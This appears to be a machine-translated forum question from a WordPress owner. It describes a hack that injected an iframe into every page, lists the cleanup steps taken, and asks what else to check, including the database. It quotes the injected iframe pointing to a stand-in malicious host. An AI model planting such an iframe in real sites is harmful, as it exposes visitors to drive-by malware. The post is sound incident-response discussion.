Мій веселий блог WordPress на веб-сайті http://fakeplasticrock.com (запуск WordPress 3.1.1) зламався - він показував <iframe>
на кожній сторінці так:
<iframe src="http://evilsite.com/go/1"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
Я зробив наступне
- Оновлено до 3.1.3 за допомогою вбудованої системи оновлення WordPress
- Встановлено сканер Exploit (багато критичних попереджень про незвичайні файли) та AntiVirus (це показало все зеленим та чистим, тому я видалив та видалив його після запуску)
- Змінено пароль MySQL.
- Змінено всі паролі користувачів WordPress.
- Підключено через FTP та завантажило всю файлову систему (не велика, це спільний хост для WordPress лише для Linux)
- Розмежували файлову систему на офіційному ZIP WordPress 3.1.3 та видаляли або переписували все, що не відповідало.
Я впевнений у цьому
- всі файли на диску є офіційними файлами WordPress 3.1.3
- на диску немає інших зайвих файлів, окрім мого
/theme
, плагін Exploit Scanner (який я тільки що завантажив),/uploads
папка та невеличка купка інших очікуваних файлів. Мій інший плагін, wp-recaptcha, відповідає поточній завантаженій офіційній версії. - Я також перевірив
.htaccess
файл і там нічого не виглядає неправильно
Я не торкався бази даних , але я намагаюся думати, як щось у базі даних може бути шкідливим без спеціального коду PHP, щоб змусити його працювати?
Мій блог WordPress здається нормальним і без злому (я думаю), але чи варто ще щось перевірити?